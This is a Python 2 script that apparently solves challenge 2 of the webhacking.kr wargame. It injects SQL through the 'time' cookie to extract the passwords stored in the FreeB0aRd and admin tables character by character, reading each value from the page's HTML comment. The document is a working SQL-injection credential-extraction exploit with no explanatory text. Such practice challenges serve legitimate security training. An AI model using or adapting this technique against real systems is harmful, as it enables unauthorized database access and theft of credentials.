webhacking.kr_2

import urllib2, re
p = re.compile("<!--.*-->")
session = ""
url = "http://webhacking.kr/challenge/web/web-02/index.php"
l1 = []
l2 = []
for x in xrange(20):
    cookie = "time=ord(substr((select password from FreeB0aRd),"+str(x+1)+",1));PHPSESSID=" + session
    req = urllib2.Request(url)
    req.add_header("Cookie", "PHPSESSID="+cookie)
    s = p.findall(urllib2.urlopen(req).read())[0][18:23].split(":")
    if chr(int(s[0], 10) * 60 + int(s[1], 10)) == "\x00":break
    l1.append(chr(int(s[0], 10) * 60 + int(s[1], 10)))

for x in xrange(10):
    cookie = "time=ord(substr((select password from admin),"+str(x+1)+",1));PHPSESSID=" + session
    req = urllib2.Request(url)
    req.add_header("Cookie", "PHPSESSID="+cookie)
    s = p.findall(urllib2.urlopen(req).read())[0][18:23].split(":")
    l2.append(chr(int(s[0], 10) * 60 + int(s[1], 10)))

print ''.join(l1)
print ''.join(l2)